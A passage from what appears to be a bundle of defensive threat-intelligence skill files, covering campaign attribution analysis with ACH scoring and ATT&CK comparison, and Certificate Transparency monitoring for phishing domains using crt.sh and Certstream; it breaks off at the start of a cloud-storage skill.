cybersecurity\nsubdomain: threat-intelligence\ntags:\n- threat-intelligence\n- cti\n- ioc\n- mitre-attack\n- stix\n- attribution\n- campaign-analysis\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1587.001\n- T1583.001\n- T1588.002\n- T1071.001\n---\n# Analyzing Campaign Attribution Evidence\n\n## Overview\n\nCampaign attribution analysis involves systematically evaluating evidence to determine which threat actor or group is responsible for a cyber operation. This skill covers collecting and weighting attribution indicators using the Diamond Model and ACH (Analysis of Competing Hypotheses), analyzing infrastructure overlaps, TTP consistency, malware code similarities, operational timing patterns, and language artifacts to build confidence-weighted attribution assessments.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing campaign attribution evidence\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `attackcti`, `stix2`, `networkx` libraries\n- Access to threat intelligence platforms (MISP, OpenCTI)\n- Understanding of Diamond Model of Intrusion Analysis\n- Familiarity with MITRE ATT&CK threat group profiles\n- Knowledge of malware analysis and infrastructure tracking techniques\n\n## Key Concepts\n\n### Attribution Evidence Categories\n1. **Infrastructure Overlap**: Shared C2 servers, domains, IP ranges, hosting providers\n2. **TTP Consistency**: Matching ATT&CK techniques and sub-techniques across campaigns\n3. **Malware Code Similarity**: Shared code bases, compilers, PDB paths, encryption routines\n4. **Operational Patterns**: Timing (working hours, time zones), targeting patterns, operational tempo\n5. **Language Artifacts**: Embedded strings, variable names, error messages in specific languages\n6. **Victimology**: Target sector, geography, and organizational profile consistency\n\n### Confidence Levels\n- **High Confidence**: Multiple independent evidence categories converge on same actor\n- **Moderate Confidence**: Several evidence categories match, some ambiguity remains\n- **Low Confidence**: Limited evidence, possible false flags or shared tooling\n\n### Analysis of Competing Hypotheses (ACH)\nStructured analytical method that evaluates evidence against multiple competing hypotheses. Each piece of evidence is scored as consistent, inconsistent, or neutral with respect to each hypothesis. The hypothesis with the least inconsistent evidence is favored.\n\n## Workflow\n\n### Step 1: Collect Attribution Evidence\n\n```python\nfrom stix2 import MemoryStore, Filter\nfrom collections import defaultdict\n\nclass AttributionAnalyzer:\n    def __init__(self):\n        self.evidence = []\n        self.hypotheses = {}\n\n    def add_evidence(self, category, description, value, confidence):\n        self.evidence.append({\n            \"category\": category,\n            \"description\": description,\n            \"value\": value,\n            \"confidence\": confidence,\n            \"timestamp\": None,\n        })\n\n    def add_hypothesis(self, actor_name, actor_id=\"\"):\n        self.hypotheses[actor_name] = {\n            \"actor_id\": actor_id,\n            \"consistent_evidence\": [],\n            \"inconsistent_evidence\": [],\n            \"neutral_evidence\": [],\n            \"score\": 0,\n        }\n\n    def evaluate_evidence(self, evidence_idx, actor_name, assessment):\n        \"\"\"Assess evidence against a hypothesis: consistent/inconsistent/neutral.\"\"\"\n        if assessment == \"consistent\":\n            self.hypotheses[actor_name][\"consistent_evidence\"].append(evidence_idx)\n            self.hypotheses[actor_name][\"score\"] += self.evidence[evidence_idx][\"confidence\"]\n        elif assessment == \"inconsistent\":\n            self.hypotheses[actor_name][\"inconsistent_evidence\"].append(evidence_idx)\n            self.hypotheses[actor_name][\"score\"] -= self.evidence[evidence_idx][\"confidence\"] * 2\n        else:\n            self.hypotheses[actor_name][\"neutral_evidence\"].append(evidence_idx)\n\n    def rank_hypotheses(self):\n        \"\"\"Rank hypotheses by attribution score.\"\"\"\n        ranked = sorted(\n            self.hypotheses.items(),\n            key=lambda x: x[1][\"score\"],\n            reverse=True,\n        )\n        return [\n            {\n                \"actor\": name,\n                \"score\": data[\"score\"],\n                \"consistent\": len(data[\"consistent_evidence\"]),\n                \"inconsistent\": len(data[\"inconsistent_evidence\"]),\n                \"confidence\": self._score_to_confidence(data[\"score\"]),\n            }\n            for name, data in ranked\n        ]\n\n    def _score_to_confidence(self, score):\n        if score >= 80:\n            return \"HIGH\"\n        elif score >= 40:\n            return \"MODERATE\"\n        else:\n            return \"LOW\"\n```\n\n### Step 2: Infrastructure Overlap Analysis\n\n```python\ndef analyze_infrastructure_overlap(campaign_a_infra, campaign_b_infra):\n    \"\"\"Compare infrastructure between two campaigns for attribution.\"\"\"\n    overlap = {\n        \"shared_ips\": set(campaign_a_infra.get(\"ips\", [])).intersection(\n            campaign_b_infra.get(\"ips\", [])\n        ),\n        \"shared_domains\": set(campaign_a_infra.get(\"domains\", [])).intersection(\n            campaign_b_infra.get(\"domains\", [])\n        ),\n        \"shared_asns\": set(campaign_a_infra.get(\"asns\", [])).intersection(\n            campaign_b_infra.get(\"asns\", [])\n        ),\n        \"shared_registrars\": set(campaign_a_infra.get(\"registrars\", [])).intersection(\n            campaign_b_infra.get(\"registrars\", [])\n        ),\n    }\n\n    overlap_score = 0\n    if overlap[\"shared_ips\"]:\n        overlap_score += 30\n    if overlap[\"shared_domains\"]:\n        overlap_score += 25\n    if overlap[\"shared_asns\"]:\n        overlap_score += 15\n    if overlap[\"shared_registrars\"]:\n        overlap_score += 10\n\n    return {\n        \"overlap\": {k: list(v) for k, v in overlap.items()},\n        \"overlap_score\": overlap_score,\n        \"assessment\": \"STRONG\" if overlap_score >= 40 else \"MODERATE\" if overlap_score >= 20 else \"WEAK\",\n    }\n```\n\n### Step 3: TTP Comparison Across Campaigns\n\n```python\nfrom attackcti import attack_client\n\ndef compare_campaign_ttps(campaign_techniques, known_actor_techniques):\n    \"\"\"Compare campaign TTPs against known threat actor profiles.\"\"\"\n    campaign_set = set(campaign_techniques)\n    actor_set = set(known_actor_techniques)\n\n    common = campaign_set.intersection(actor_set)\n    unique_campaign = campaign_set - actor_set\n    unique_actor = actor_set - campaign_set\n\n    jaccard = len(common) / len(campaign_set.union(actor_set)) if campaign_set.union(actor_set) else 0\n\n    return {\n        \"common_techniques\": sorted(common),\n        \"common_count\": len(common),\n        \"unique_to_campaign\": sorted(unique_campaign),\n        \"unique_to_actor\": sorted(unique_actor),\n        \"jaccard_similarity\": round(jaccard, 3),\n        \"overlap_percentage\": round(len(common) / len(campaign_set) * 100, 1) if campaign_set else 0,\n    }\n```\n\n### Step 4: Generate Attribution Report\n\n```python\ndef generate_attribution_report(analyzer):\n    \"\"\"Generate structured attribution assessment report.\"\"\"\n    rankings = analyzer.rank_hypotheses()\n\n    report = {\n        \"assessment_date\": \"2026-02-23\",\n        \"total_evidence_items\": len(analyzer.evidence),\n        \"hypotheses_evaluated\": len(analyzer.hypotheses),\n        \"rankings\": rankings,\n        \"primary_attribution\": rankings[0] if rankings else None,\n        \"evidence_summary\": [\n            {\n                \"index\": i,\n                \"category\": e[\"category\"],\n                \"description\": e[\"description\"],\n                \"confidence\": e[\"confidence\"],\n            }\n            for i, e in enumerate(analyzer.evidence)\n        ],\n    }\n\n    return report\n```\n\n## Validation Criteria\n\n- Evidence collection covers all six attribution categories\n- ACH matrix properly evaluates evidence against competing hypotheses\n- Infrastructure overlap analysis identifies shared indicators\n- TTP comparison uses ATT&CK technique IDs for precision\n- Attribution confidence levels are properly justified\n- Report includes alternative hypotheses and false flag considerations\n\n## References\n\n- [Diamond Model of Intrusion Analysis](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)\n- [MITRE ATT&CK Groups](https://attack.mitre.org/groups/)\n- [Analysis of Competing Hypotheses](https://www.cia.gov/static/9a5f1162fd0932c29e985f0159f56c07/Tradecraft-Primer-apr09.pdf)\n- [Threat Attribution Framework](https://www.mandiant.com/resources/reports)\n","skills/analyzing-campaign-attribution-evidence/assets/template.md":"# Campaign Attribution Analysis Report Template\n\n## Report Metadata\n| Field | Value |\n|-------|-------|\n| Report ID | CTI-YYYY-NNNN |\n| Date | YYYY-MM-DD |\n| Classification | TLP:AMBER |\n| Analyst | [Name] |\n| Confidence | High/Moderate/Low |\n\n## Executive Summary\n[Brief overview of key findings and their significance]\n\n## Key Findings\n1. [Finding 1 with supporting evidence]\n2. [Finding 2 with supporting evidence]\n3. [Finding 3 with supporting evidence]\n\n## Detailed Analysis\n### Finding 1\n- **Evidence**: [Description of evidence]\n- **Confidence**: High/Moderate/Low\n- **MITRE ATT&CK**: [Relevant technique IDs]\n- **Impact Assessment**: [Potential impact to organization]\n\n## Indicators of Compromise\n| Type | Value | Context | Confidence |\n|------|-------|---------|-----------|\n| | | | |\n\n## Recommendations\n1. **Immediate**: [Actions requiring immediate attention]\n2. **Short-term**: [Actions within 1-2 weeks]\n3. **Long-term**: [Strategic improvements]\n\n## References\n- [Source 1]\n- [Source 2]\n","skills/analyzing-campaign-attribution-evidence/references/api-reference.md":"# API Reference: Campaign Attribution Evidence Analysis\n\n## Diamond Model of Intrusion Analysis\n\n### Four Core Features\n| Feature | Description | Attribution Value |\n|---------|-------------|-------------------|\n| Adversary | Threat actor identity | Direct attribution |\n| Capability | Malware, exploits, tools | Indirect - shared tooling |\n| Infrastructure | C2, domains, IPs | Strong - operational overlap |\n| Victim | Targets, sectors, regions | Contextual - targeting pattern |\n\n### Pivot Analysis\n```\nAdversary ←→ Capability ←→ Infrastructure ←→ Victim\n    ↕              ↕              ↕              ↕\n  (HUMINT)     (Malware DB)   (WHOIS/DNS)   (Victimology)\n```\n\n## Analysis of Competing Hypotheses (ACH)\n\n### Matrix Format\n```\nEvidence \\ Hypothesis  |  APT28  |  APT29  |  Lazarus  |  Unknown\n-----------------------------------------------------------------\nInfrastructure overlap  |   ++    |    -    |     -     |    N\nTTP consistency        |   ++    |   ++    |     -     |    N\nMalware similarity     |    +    |    -    |     -     |    N\nTiming (UTC+3)         |   ++    |   ++    |     -     |    N\nLanguage (Russian)     |   ++    |   ++    |     -     |    N\n```\n\n### Scoring\n| Symbol | Meaning | Weight |\n|--------|---------|--------|\n| `++` | Strongly consistent | +2 |\n| `+` | Consistent | +1 |\n| `N` | Neutral | 0 |\n| `-` | Inconsistent | -1 |\n| `--` | Strongly inconsistent | -2 |\n\n## MITRE ATT&CK Group Queries\n\n### Python (mitreattack-python)\n```python\nfrom mitreattack.stix20 import MitreAttackData\nattack = MitreAttackData(\"enterprise-attack.json\")\ngroup = attack.get_group_by_alias(\"APT29\")\ntechniques = attack.get_techniques_used_by_group(group.id)\n```\n\n### STIX2 Relationship Query\n```python\nfrom stix2 import Filter\nrelationships = src.query([\n    Filter(\"type\", \"=\", \"relationship\"),\n    Filter(\"source_ref\", \"=\", group_id),\n    Filter(\"relationship_type\", \"=\", \"uses\"),\n])\n```\n\n## Infrastructure Overlap Tools\n\n### PassiveTotal / RiskIQ\n```bash\n# WHOIS history\ncurl -u user:key \"https://api.passivetotal.org/v2/whois?query=domain.com\"\n\n# Passive DNS\ncurl -u user:key \"https://api.passivetotal.org/v2/dns/passive?query=1.2.3.4\"\n```\n\n### VirusTotal Relations\n```bash\ncurl -H \"x-apikey: KEY\" \\\n  \"https://www.virustotal.com/api/v3/domains/example.com/communicating_files\"\n```\n\n## Confidence Assessment Framework\n\n| Level | Score Range | Criteria |\n|-------|------------|---------|\n| HIGH | 0.8-1.0 | Multiple independent evidence types converge |\n| MEDIUM | 0.5-0.8 | Significant evidence with some gaps |\n| LOW | 0.2-0.5 | Limited evidence, alternative hypotheses remain |\n| NEGLIGIBLE | 0.0-0.2 | Insufficient evidence for attribution |\n\n## STIX Attribution Objects\n\n### Campaign Object\n```json\n{\n  \"type\": \"campaign\",\n  \"name\": \"Operation DarkShadow\",\n  \"first_seen\": \"2024-01-15T00:00:00Z\",\n  \"last_seen\": \"2024-03-20T00:00:00Z\",\n  \"objective\": \"Espionage targeting defense sector\"\n}\n```\n\n### Attribution Relationship\n```json\n{\n  \"type\": \"relationship\",\n  \"relationship_type\": \"attributed-to\",\n  \"source_ref\": \"campaign--abc123\",\n  \"target_ref\": \"intrusion-set--def456\",\n  \"confidence\": 75\n}\n```\n","skills/analyzing-campaign-attribution-evidence/references/standards.md":"# Standards and Frameworks Reference\n\n## Applicable Standards\n- **STIX 2.1**: Structured Threat Information eXpression for CTI data representation\n- **TAXII 2.1**: Transport protocol for sharing CTI over HTTPS\n- **MITRE ATT&CK**: Adversary tactics, techniques, and procedures taxonomy\n- **Diamond Model**: Intrusion analysis framework (Adversary, Capability, Infrastructure, Victim)\n- **Traffic Light Protocol (TLP)**: Information sharing classification (CLEAR, GREEN, AMBER, RED)\n\n## MITRE ATT&CK Relevance\n- Technique mapping for threat actor behavior classification\n- Data sources for detection capability assessment\n- Mitigation strategies linked to specific techniques\n\n## Industry Frameworks\n- NIST Cybersecurity Framework (CSF) 2.0 - Identify function\n- ISO 27001:2022 - A.5.7 Threat Intelligence\n- FIRST Standards - TLP, CSIRT, vulnerability coordination\n\n## References\n- [STIX 2.1 Specification](https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html)\n- [MITRE ATT&CK](https://attack.mitre.org/)\n- [Diamond Model Paper](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)\n- [NIST CSF 2.0](https://www.nist.gov/cyberframework)\n","skills/analyzing-campaign-attribution-evidence/references/workflows.md":"# Campaign Attribution Analysis Workflows\n\n## Workflow 1: Collection and Analysis\n```\n[Intelligence Sources] --> [Data Collection] --> [Analysis] --> [Reporting]\n        |                        |                   |               |\n        v                        v                   v               v\n  OSINT/HUMINT/SIGINT    Normalize/Enrich    Assess/Correlate  Disseminate\n```\n\n### Steps:\n1. **Planning**: Define intelligence requirements and collection priorities\n2. **Collection**: Gather data from relevant sources\n3. **Processing**: Normalize data formats and filter noise\n4. **Analysis**: Apply analytical frameworks and correlate findings\n5. **Production**: Generate intelligence products and reports\n6. **Dissemination**: Share with stakeholders via appropriate channels\n7. **Feedback**: Collect consumer feedback to refine future collection\n\n## Workflow 2: Continuous Monitoring\n```\n[Watchlist] --> [Automated Monitoring] --> [Change Detection] --> [Alert/Update]\n```\n\n### Steps:\n1. **Define Watchlist**: Identify indicators, actors, and topics to monitor\n2. **Configure Monitoring**: Set up automated collection from relevant sources\n3. **Change Detection**: Identify new or changed intelligence\n4. **Assessment**: Evaluate significance of changes\n5. **Alerting**: Notify stakeholders of significant intelligence updates\n6. **Archive**: Store intelligence for historical analysis and trending\n","skills/analyzing-certificate-transparency-for-phishing/SKILL.md":"---\nname: analyzing-certificate-transparency-for-phishing\ndescription: Monitor Certificate Transparency logs using crt.sh and Certstream to\n  detect phishing domains, lookalike certificates, and unauthorized certificate issuance\n  targeting your organization.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- certificate-transparency\n- ct-logs\n- phishing\n- crt-sh\n- certstream\n- ssl\n- domain-monitoring\n- threat-intelligence\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0052\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1583.001\n- T1583.004\n- T1566.002\n- T1608.005\n- T1596.003\nmitre_f3:\n  version: '1.1'\n  tactics:\n  - resource-development\n  - reconnaissance\n  - initial-access\n  techniques:\n  - id: T1583.001\n    name: 'Acquire Infrastructure: Domains'\n    tactic: resource-development\n    source: attack\n  - id: F1020.002\n    name: 'Create Fake Materials: Fake Website'\n    tactic: resource-development\n    source: f3\n  - id: T1593\n    name: Search Open Websites/Domains\n    tactic: reconnaissance\n    source: attack\n  - id: T1598\n    name: Phishing for Information\n    tactic: reconnaissance\n    source: attack\n  - id: T1660\n    name: Phishing\n    tactic: initial-access\n    source: attack\n---\n# Analyzing Certificate Transparency for Phishing\n\n## Overview\n\nCertificate Transparency (CT) is an Internet security standard that creates a public, append-only log of all issued SSL/TLS certificates. Monitoring CT logs enables early detection of phishing domains that register certificates mimicking legitimate brands, unauthorized certificate issuance for owned domains, and certificate-based attack infrastructure. This skill covers querying CT logs via crt.sh, real-time monitoring with Certstream, building automated alerting for suspicious certificates, and integrating findings into threat intelligence workflows.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing certificate transparency for phishing\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `requests`, `certstream`, `tldextract`, `Levenshtein` libraries\n- Access to crt.sh (https://crt.sh/) for historical CT log queries\n- Certstream (https://certstream.calidog.io/) for real-time monitoring\n- List of organization domains and brand keywords to monitor\n- Understanding of SSL/TLS certificate structure and issuance process\n\n## Key Concepts\n\n### Certificate Transparency Logs\n\nCT logs are cryptographically assured, publicly auditable, append-only records of TLS certificate issuance. Major CAs (Let's Encrypt, DigiCert, Sectigo, Google Trust Services) submit all issued certificates to multiple CT logs. As of 2025, Chrome and Safari require CT for all publicly trusted certificates.\n\n### Phishing Detection via CT\n\nAttackers register lookalike domains and obtain free certificates (often from Let's Encrypt) to make phishing sites appear legitimate with HTTPS. CT monitoring detects these early because the certificate appears in logs before the phishing campaign launches, providing a window for proactive blocking.\n\n### crt.sh Database\n\ncrt.sh is a free web interface and PostgreSQL database operated by Sectigo that indexes CT logs. It supports wildcard searches (`%.example.com`), direct SQL queries, and JSON API responses. It tracks certificate issuance, expiration, and revocation across all major CT logs.\n\n## Workflow\n\n### Step 1: Query crt.sh for Certificate History\n\n```python\nimport requests\nimport json\nfrom datetime import datetime\nimport tldextract\n\nclass CTLogMonitor:\n    CRT_SH_URL = \"https://crt.sh\"\n\n    def __init__(self, monitored_domains, brand_keywords):\n        self.monitored_domains = monitored_domains\n        self.brand_keywords = [k.lower() for k in brand_keywords]\n\n    def query_crt_sh(self, domain, include_expired=False):\n        \"\"\"Query crt.sh for certificates matching a domain.\"\"\"\n        params = {\n            \"q\": f\"%.{domain}\",\n            \"output\": \"json\",\n        }\n        if not include_expired:\n            params[\"exclude\"] = \"expired\"\n\n        resp = requests.get(self.CRT_SH_URL, params=params, timeout=30)\n        if resp.status_code == 200:\n            certs = resp.json()\n            print(f\"[+] crt.sh: {len(certs)} certificates for *.{domain}\")\n            return certs\n        return []\n\n    def find_suspicious_certs(self, domain):\n        \"\"\"Find certificates that may be phishing attempts.\"\"\"\n        certs = self.query_crt_sh(domain)\n        suspicious = []\n\n        for cert in certs:\n            common_name = cert.get(\"common_name\", \"\").lower()\n            name_value = cert.get(\"name_value\", \"\").lower()\n            issuer = cert.get(\"issuer_name\", \"\")\n            not_before = cert.get(\"not_before\", \"\")\n            not_after = cert.get(\"not_after\", \"\")\n\n            # Check for exact domain matches (legitimate)\n            extracted = tldextract.extract(common_name)\n            cert_domain = f\"{extracted.domain}.{extracted.suffix}\"\n            if cert_domain == domain:\n                continue  # Legitimate certificate\n\n            # Flag suspicious patterns\n            flags = []\n            if domain.replace(\".\", \"\") in common_name.replace(\".\", \"\"):\n                flags.append(\"contains target domain string\")\n            if any(kw in common_name for kw in self.brand_keywords):\n                flags.append(\"contains brand keyword\")\n            if \"let's encrypt\" in issuer.lower():\n                flags.append(\"free CA (Let's Encrypt)\")\n\n            if flags:\n                suspicious.append({\n                    \"common_name\": cert.get(\"common_name\", \"\"),\n                    \"name_value\": cert.get(\"name_value\", \"\"),\n                    \"issuer\": issuer,\n                    \"not_before\": not_before,\n                    \"not_after\": not_after,\n                    \"serial\": cert.get(\"serial_number\", \"\"),\n                    \"flags\": flags,\n                    \"crt_sh_id\": cert.get(\"id\", \"\"),\n                    \"crt_sh_url\": f\"https://crt.sh/?id={cert.get('id', '')}\",\n                })\n\n        print(f\"[+] Found {len(suspicious)} suspicious certificates\")\n        return suspicious\n\nmonitor = CTLogMonitor(\n    monitored_domains=[\"mycompany.com\", \"mycompany.org\"],\n    brand_keywords=[\"mycompany\", \"mybrand\", \"myproduct\"],\n)\nsuspicious = monitor.find_suspicious_certs(\"mycompany.com\")\nfor cert in suspicious[:5]:\n    print(f\"  [{cert['common_name']}] Flags: {cert['flags']}\")\n```\n\n### Step 2: Real-Time Monitoring with Certstream\n\n```python\nimport certstream\nimport Levenshtein\nimport re\nfrom datetime import datetime\n\nclass CertstreamMonitor:\n    def __init__(self, watched_domains, brand_keywords, similarity_threshold=0.8):\n        self.watched_domains = [d.lower() for d in watched_domains]\n        self.brand_keywords = [k.lower() for k in brand_keywords]\n        self.threshold = similarity_threshold\n        self.alerts = []\n\n    def start_monitoring(self, max_alerts=100):\n        \"\"\"Start real-time CT log monitoring.\"\"\"\n        print(\"[*] Starting Certstream monitoring...\")\n        print(f\"    Watching: {self.watched_domains}\")\n        print(f\"    Keywords: {self.brand_keywords}\")\n\n        def callback(message, context):\n            if message[\"message_type\"] == \"certificate_update\":\n                data = message[\"data\"]\n                leaf = data.get(\"leaf_cert\", {})\n                all_domains = leaf.get(\"all_domains\", [])\n\n                for domain in all_domains:\n                    domain_lower = domain.lower().strip(\"*.\")\n                    if self._is_suspicious(domain_lower):\n                        alert = {\n                            \"domain\": domain,\n                            \"all_domains\": all_domains,\n                            \"issuer\": leaf.get(\"issuer\", {}).get(\"O\", \"\"),\n                            \"fingerprint\": leaf.get(\"fingerprint\", \"\"),\n                            \"not_before\": leaf.get(\"not_before\", \"\"),\n                            \"detected_at\": datetime.now().isoformat(),\n                            \"reason\": self._get_reason(domain_lower),\n                        }\n                        self.alerts.append(alert)\n                        print(f\"  [ALERT] {domain} - {alert['reason']}\")\n\n                        if len(self.alerts) >= max_alerts:\n                            raise KeyboardInterrupt\n\n        try:\n            certstream.listen_for_events(callback, url=\"wss://certstream.calidog.io/\")\n        except KeyboardInterrupt:\n            print(f\"\\n[+] Monitoring stopped. {len(self.alerts)} alerts collected.\")\n        return self.alerts\n\n    def _is_suspicious(self, domain):\n        \"\"\"Check if domain is suspicious relative to watched domains.\"\"\"\n        for watched in self.watched_domains:\n            # Exact keyword match\n            watched_base = watched.split(\".\")[0]\n            if watched_base in domain and domain != watched:\n                return True\n\n            # Levenshtein distance (typosquatting detection)\n            domain_base = tldextract.extract(domain).domain\n            similarity = Levenshtein.ratio(watched_base, domain_base)\n            if similarity >= self.threshold and domain_base != watched_base:\n                return True\n\n        # Brand keyword match\n        for keyword in self.brand_keywords:\n            if keyword in domain:\n                return True\n\n        return False\n\n    def _get_reason(self, domain):\n        \"\"\"Determine why domain was flagged.\"\"\"\n        reasons = []\n        for watched in self.watched_domains:\n            watched_base = watched.split(\".\")[0]\n            if watched_base in domain:\n                reasons.append(f\"contains '{watched_base}'\")\n            domain_base = tldextract.extract(domain).domain\n            similarity = Levenshtein.ratio(watched_base, domain_base)\n            if similarity >= self.threshold and domain_base != watched_base:\n                reasons.append(f\"similar to '{watched}' ({similarity:.0%})\")\n        for kw in self.brand_keywords:\n            if kw in domain:\n                reasons.append(f\"brand keyword '{kw}'\")\n        return \"; \".join(reasons) if reasons else \"unknown\"\n\ncs_monitor = CertstreamMonitor(\n    watched_domains=[\"mycompany.com\"],\n    brand_keywords=[\"mycompany\", \"mybrand\"],\n    similarity_threshold=0.75,\n)\nalerts = cs_monitor.start_monitoring(max_alerts=50)\n```\n\n### Step 3: Enumerate Subdomains from CT Logs\n\n```python\ndef enumerate_subdomains_ct(domain):\n    \"\"\"Discover all subdomains from Certificate Transparency logs.\"\"\"\n    params = {\"q\": f\"%.{domain}\", \"output\": \"json\"}\n    resp = requests.get(\"https://crt.sh\", params=params, timeout=30)\n\n    if resp.status_code != 200:\n        return []\n\n    certs = resp.json()\n    subdomains = set()\n    for cert in certs:\n        name_value = cert.get(\"name_value\", \"\")\n        for name in name_value.split(\"\\n\"):\n            name = name.strip().lower()\n            if name.endswith(f\".{domain}\") or name == domain:\n                name = name.lstrip(\"*.\")\n                subdomains.add(name)\n\n    sorted_subs = sorted(subdomains)\n    print(f\"[+] CT subdomain enumeration for {domain}: {len(sorted_subs)} subdomains\")\n    return sorted_subs\n\nsubdomains = enumerate_subdomains_ct(\"example.com\")\nfor sub in subdomains[:20]:\n    print(f\"  {sub}\")\n```\n\n### Step 4: Generate CT Intelligence Report\n\n```python\ndef generate_ct_report(suspicious_certs, certstream_alerts, domain):\n    report = f\"\"\"# Certificate Transparency Intelligence Report\n## Target Domain: {domain}\n## Generated: {datetime.now().isoformat()}\n\n## Summary\n- Suspicious certificates found: {len(suspicious_certs)}\n- Real-time alerts triggered: {len(certstream_alerts)}\n\n## Suspicious Certificates (crt.sh)\n| Common Name | Issuer | Flags | crt.sh Link |\n|------------|--------|-------|-------------|\n\"\"\"\n    for cert in suspicious_certs[:20]:\n        flags = \"; \".join(cert.get(\"flags\", []))\n        report += (f\"| {cert['common_name']} | {cert['issuer'][:30]} \"\n                   f\"| {flags} | [View]({cert['crt_sh_url']}) |\\n\")\n\n    report += f\"\"\"\n## Real-Time Certstream Alerts\n| Domain | Issuer | Reason | Detected |\n|--------|--------|--------|----------|\n\"\"\"\n    for alert in certstream_alerts[:20]:\n        report += (f\"| {alert['domain']} | {alert['issuer']} \"\n                   f\"| {alert['reason']} | {alert['detected_at'][:19]} |\\n\")\n\n    report += \"\"\"\n## Recommendations\n1. Add flagged domains to DNS sinkhole / web proxy blocklist\n2. Submit takedown requests for confirmed phishing domains\n3. Monitor CT logs continuously for new certificate registrations\n4. Implement CAA DNS records to restrict certificate issuance for your domains\n5. Deploy DMARC to prevent email spoofing from lookalike domains\n\"\"\"\n    with open(f\"ct_report_{domain.replace('.','_')}.md\", \"w\") as f:\n        f.write(report)\n    print(f\"[+] CT report saved\")\n    return report\n\ngenerate_ct_report(suspicious, alerts if 'alerts' in dir() else [], \"mycompany.com\")\n```\n\n## Validation Criteria\n\n- crt.sh queries return certificate data for target domains\n- Suspicious certificates identified based on lookalike patterns\n- Certstream real-time monitoring detects new phishing certificates\n- Subdomain enumeration produces comprehensive list from CT logs\n- Alerts generated with reason classification\n- CT intelligence report created with actionable recommendations\n\n## References\n\n- [crt.sh Certificate Search](https://crt.sh/)\n- [Certstream Real-Time CT Monitor](https://certstream.calidog.io/)\n- [River Security: CT Logs for Attack Surface Discovery](https://riversecurity.eu/finding-attack-surface-and-fraudulent-domains-via-certificate-transparency-logs/)\n- [Let's Encrypt: Certificate Transparency Logs](https://letsencrypt.org/docs/ct-logs/)\n- [SSLMate Cert Spotter](https://sslmate.com/certspotter/)\n- [CyberSierra: CT Logs as Early Warning System](https://cybersierra.co/blog/ssl-certificate-transparency-logs/)\n","skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md":"# API Reference: Certificate Transparency Phishing Detection\n\n## crt.sh API\n\n### Search Certificates\n```bash\n# JSON output\ncurl \"https://crt.sh/?q=%.example.com&output=json\"\n\n# Exclude expired\ncurl \"https://crt.sh/?q=%.example.com&output=json&exclude=expired\"\n\n# Exact match\ncurl \"https://crt.sh/?q=example.com&output=json\"\n```\n\n### Response Fields\n| Field | Description |\n|-------|-------------|\n| `id` | Certificate ID in crt.sh database |\n| `common_name` | Certificate CN |\n| `name_value` | All SANs (newline-separated) |\n| `issuer_name` | Certificate Authority |\n| `not_before` | Validity start |\n| `not_after` | Validity end |\n| `serial_number` | Certificate serial |\n\n## Certstream - Real-time CT Monitoring\n\n### Python Client\n```python\nimport certstream\n\ndef callback(message, context):\n    if message[\"message_type\"] == \"certificate_update\":\n        data = message[\"data\"]\n        domains = data[\"leaf_cert\"][\"all_domains\"]\n        for domain in domains:\n            if \"example\" in domain:\n                print(f\"[ALERT] {domain}\")\n\ncertstream.listen_for_events(callback, url=\"wss://certstream.calidog.io/\")\n```\n\n### Message Fields\n| Field | Path |\n|-------|------|\n| Domains | `data.leaf_cert.all_domains` |\n| Issuer | `data.leaf_cert.issuer.O` |\n| Subject | `data.leaf_cert.subject.CN` |\n| Fingerprint | `data.leaf_cert.fingerprint` |\n| Source | `data.source.name` |\n\n## CT Log Servers\n\n| Log | Operator | URL |\n|-----|----------|-----|\n| Argon | Google | `ct.googleapis.com/logs/argon2024` |\n| Xenon | Google | `ct.googleapis.com/logs/xenon2024` |\n| Nimbus | Cloudflare | `ct.cloudflare.com/logs/nimbus2024` |\n| Oak | Let's Encrypt | `oak.ct.letsencrypt.org/2024h1` |\n| Yeti | DigiCert | `yeti2024.ct.digicert.com/log` |\n\n## Phishing Detection Techniques\n\n### Homoglyph / IDN Attacks\n| Original | Lookalike | Technique |\n|----------|-----------|-----------|\n| example.com | examp1e.com | Character substitution (l→1) |\n| google.com | gооgle.com | Cyrillic о (U+043E) |\n| paypal.com | paypa1.com | l→1 substitution |\n| microsoft.com | mіcrosoft.com | Cyrillic і (U+0456) |\n\n### dnstwist Integration\n```bash\ndnstwist -r -f json example.com   # Generate and resolve permutations\ndnstwist -w wordlist.txt example.com  # Dictionary-based\n```\n\n## Certificate Details Lookup\n```bash\n# Get full certificate from crt.sh\ncurl \"https://crt.sh/?d=<cert_id>\"\n\n# OpenSSL inspection\nopenssl s_client -connect domain.com:443 -servername domain.com </dev/null 2>/dev/null | \\\n  openssl x509 -noout -text\n```\n\n## Suspicious Indicators\n| Pattern | Risk Level |\n|---------|-----------|\n| Free CA + new domain + brand keyword | HIGH |\n| Wildcard cert on recently registered domain | HIGH |\n| Multiple certs for slight domain variants | MEDIUM |\n| IDN/punycode domain mimicking brand | HIGH |\n| Cert issued same day as domain registration | MEDIUM |\n","skills/analyzing-cloud-storage-access-patterns/SKILL.md":"---\nname: analyzing-cloud-storage-access-patterns\ndescription: Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- cloud-security\n- aws-s3\n- gcs\n- azure-blob-storage\n- cloudtrail\n- data-access-anomaly\n- exfiltration-detection\nversion: 